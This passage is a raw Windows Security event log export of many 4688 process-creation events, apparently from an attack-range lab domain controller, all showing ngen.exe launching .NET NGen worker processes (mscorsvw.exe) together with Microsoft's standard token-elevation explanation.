-RecordNumber=254281 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254286 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d0 -InterruptEvent 0 -NGENProcess 15c -Pipe 290 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254285 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 244 -InterruptEvent 0 -NGENProcess 264 -Pipe 300 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254284 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 250 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 280 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254283 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 0 -NGENProcess 2b4 -Pipe 2f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254289 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 304 -Pipe 308 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254288 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 318 -Pipe 2b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254287 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1398 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 2dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254292 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 33c -Pipe 32c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254291 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 324 -Pipe 318 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254290 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 304 -Pipe 2ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254293 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 324 -Pipe 264 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254295 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 350 -Pipe 348 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254294 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 0 -NGENProcess 2b8 -Pipe 328 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254299 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1394 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 320 -Pipe 350 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254298 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 314 -Pipe 358 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254297 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 350 -InterruptEvent 0 -NGENProcess 288 -Pipe 340 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254296 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 33c -Pipe 304 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:02:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254301 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: 